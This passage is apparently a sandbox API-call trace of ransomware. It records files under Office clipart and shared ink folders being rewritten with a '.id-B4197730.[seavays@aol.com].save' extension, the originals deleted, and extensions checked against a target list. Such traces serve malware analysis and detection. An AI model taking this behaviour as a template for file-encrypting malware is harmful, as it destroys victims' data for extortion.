(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0211.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.079] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.079] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0211.080] GetLastError () returned 0x0 [0211.080] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0211.081] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0211.083] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.083] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.083] SetEndOfFile (hFile=0x350) returned 1 [0211.083] CloseHandle (hObject=0x350) returned 1 [0211.083] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.083] SetEndOfFile (hFile=0x358) returned 1 [0211.084] CloseHandle (hObject=0x358) returned 1 [0211.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0211.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.085] lstrlenW (lpString=".doc") returned 4 [0211.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.085] lstrlenW (lpString=".docx") returned 5 [0211.085] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.085] lstrlenW (lpString=".pdf") returned 4 [0211.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.085] lstrlenW (lpString=".xls") returned 4 [0211.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.085] lstrlenW (lpString=".xlsx") returned 5 [0211.085] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.085] lstrlenW (lpString=".ppt") returned 4 [0211.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.085] lstrlenW (lpString=".zip") returned 4 [0211.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.085] lstrlenW (lpString=".rar") returned 4 [0211.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.085] lstrlenW (lpString=".bz2") returned 4 [0211.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.086] lstrlenW (lpString=".7z") returned 3 [0211.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.086] lstrlenW (lpString=".dbf") returned 4 [0211.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.086] lstrlenW (lpString=".1cd") returned 4 [0211.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.086] lstrlenW (lpString=".jpg") returned 4 [0211.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.086] lstrlenW (lpString=".doc") returned 4 [0211.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.086] lstrlenW (lpString=".docx") returned 5 [0211.086] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.086] lstrlenW (lpString=".pdf") returned 4 [0211.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.086] lstrlenW (lpString=".xls") returned 4 [0211.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.086] lstrlenW (lpString=".xlsx") returned 5 [0211.086] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.086] lstrlenW (lpString=".ppt") returned 4 [0211.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.087] lstrlenW (lpString=".zip") returned 4 [0211.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.087] lstrlenW (lpString=".rar") returned 4 [0211.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.087] lstrlenW (lpString=".bz2") returned 4 [0211.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.087] lstrlenW (lpString=".7z") returned 3 [0211.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.087] lstrlenW (lpString=".dbf") returned 4 [0211.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.087] lstrlenW (lpString=".1cd") returned 4 [0211.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0211.087] lstrlenW (lpString=".jpg") returned 4 [0211.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.087] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0211.087] lstrlenW (lpString="J0105588.WMF") returned 12 [0211.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.088] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=21548) returned 1 [0211.088] CloseHandle (hObject=0x358) returned 1 [0211.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0211.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0211.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.089] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.089] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0211.090] GetLastError () returned 0x0 [0211.090] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x542c, lpOverlapped=0x0) returned 1 [0211.091] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x5430, lpOverlapped=0x0) returned 1 [0211.093] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.093] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.094] SetEndOfFile (hFile=0x350) returned 1 [0211.094] CloseHandle (hObject=0x350) returned 1 [0211.094] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.094] SetEndOfFile (hFile=0x358) returned 1 [0211.095] CloseHandle (hObject=0x358) returned 1 [0211.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0211.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.096] lstrlenW (lpString=".doc") returned 4 [0211.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.096] lstrlenW (lpString=".docx") returned 5 [0211.096] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.096] lstrlenW (lpString=".pdf") returned 4 [0211.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.096] lstrlenW (lpString=".xls") returned 4 [0211.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.096] lstrlenW (lpString=".xlsx") returned 5 [0211.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.096] lstrlenW (lpString=".ppt") returned 4 [0211.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.096] lstrlenW (lpString=".zip") returned 4 [0211.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.097] lstrlenW (lpString=".rar") returned 4 [0211.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString=".bz2") returned 4 [0211.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString=".7z") returned 3 [0211.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.097] lstrlenW (lpString=".dbf") returned 4 [0211.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.097] lstrlenW (lpString=".1cd") returned 4 [0211.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.097] lstrlenW (lpString=".jpg") returned 4 [0211.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.097] lstrlenW (lpString=".doc") returned 4 [0211.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString=".docx") returned 5 [0211.097] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.097] lstrlenW (lpString=".pdf") returned 4 [0211.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.097] lstrlenW (lpString=".xls") returned 4 [0211.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.097] lstrlenW (lpString=".xlsx") returned 5 [0211.097] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.097] lstrlenW (lpString=".ppt") returned 4 [0211.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.098] lstrlenW (lpString=".zip") returned 4 [0211.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.098] lstrlenW (lpString=".rar") returned 4 [0211.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.098] lstrlenW (lpString=".bz2") returned 4 [0211.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.098] lstrlenW (lpString=".7z") returned 3 [0211.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.098] lstrlenW (lpString=".dbf") returned 4 [0211.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.098] lstrlenW (lpString=".1cd") returned 4 [0211.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0211.098] lstrlenW (lpString=".jpg") returned 4 [0211.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 93 os_tid = 0xd60 [0205.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x680a08 [0205.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x690a10 [0205.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617110 [0205.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e2f8 [0205.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6170e0 [0205.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x33cb020 [0205.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617218 [0205.436] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617218, Size=0x20) returned 0x5fed28 [0205.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617170 [0205.436] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617170, Size=0x20) returned 0x5fe9e0 [0205.437] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.437] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.437] Wow64DisableWow64FsRedirection (in: OldValue=0x2e2ff50 | out: OldValue=0x2e2ff50*=0x0) returned 1 [0205.437] lstrlenW (lpString="kernel32.dll") returned 12 [0205.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.437] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.437] Sleep (dwMilliseconds=0x64) [0205.795] Sleep (dwMilliseconds=0x64) [0206.033] Sleep (dwMilliseconds=0x64) [0206.389] Sleep (dwMilliseconds=0x64) [0206.679] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0206.679] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0206.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.680] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=247) returned 1 [0206.680] CloseHandle (hObject=0x33c) returned 1 [0206.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0206.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.373] lstrlenW (lpString=".doc") returned 4 [0207.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.373] lstrlenW (lpString=".docx") returned 5 [0207.373] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0207.373] lstrlenW (lpString=".pdf") returned 4 [0207.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.373] lstrlenW (lpString=".xls") returned 4 [0207.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.373] lstrlenW (lpString=".xlsx") returned 5 [0207.373] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0207.373] lstrlenW (lpString=".ppt") returned 4 [0207.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.373] lstrlenW (lpString=".zip") returned 4 [0207.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.373] lstrlenW (lpString=".rar") returned 4 [0207.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.373] lstrlenW (lpString=".bz2") returned 4 [0207.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString=".7z") returned 3 [0207.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.374] lstrlenW (lpString=".dbf") returned 4 [0207.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.374] lstrlenW (lpString=".1cd") returned 4 [0207.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.374] lstrlenW (lpString=".jpg") returned 4 [0207.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.374] lstrlenW (lpString=".doc") returned 4 [0207.374] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString=".docx") returned 5 [0207.374] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0207.374] lstrlenW (lpString=".pdf") returned 4 [0207.374] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString=".xls") returned 4 [0207.374] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString=".xlsx") returned 5 [0207.374] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0207.374] lstrlenW (lpString=".ppt") returned 4 [0207.374] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.374] lstrlenW (lpString=".zip") returned 4 [0207.374] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.375] lstrlenW (lpString=".rar") returned 4 [0207.375] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.375] lstrlenW (lpString=".bz2") returned 4 [0207.375] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.375] lstrlenW (lpString=".7z") returned 3 [0207.375] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.375] lstrlenW (lpString=".dbf") returned 4 [0207.375] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.375] lstrlenW (lpString=".1cd") returned 4 [0207.375] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0207.375] lstrlenW (lpString=".jpg") returned 4 [0207.375] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.375] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.375] lstrlenW (lpString="ipsnld.xml") returned 10 [0207.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.378] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2626) returned 1 [0207.378] CloseHandle (hObject=0x360) returned 1 [0207.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0207.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.378] lstrlenW (lpString=".doc") returned 4 [0207.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.378] lstrlenW (lpString=".docx") returned 5 [0207.378] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0207.378] lstrlenW (lpString=".pdf") returned 4 [0207.378] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.378] lstrlenW (lpString=".xls") returned 4 [0207.378] 